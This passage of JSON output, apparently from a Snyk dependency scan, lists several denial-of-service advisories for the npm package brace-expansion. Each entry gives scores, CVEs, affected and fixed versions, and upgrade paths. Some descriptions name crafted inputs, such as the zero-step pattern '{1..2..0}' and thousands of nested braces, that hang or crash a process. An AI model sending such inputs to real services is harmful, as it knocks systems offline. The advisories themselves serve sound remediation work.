1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
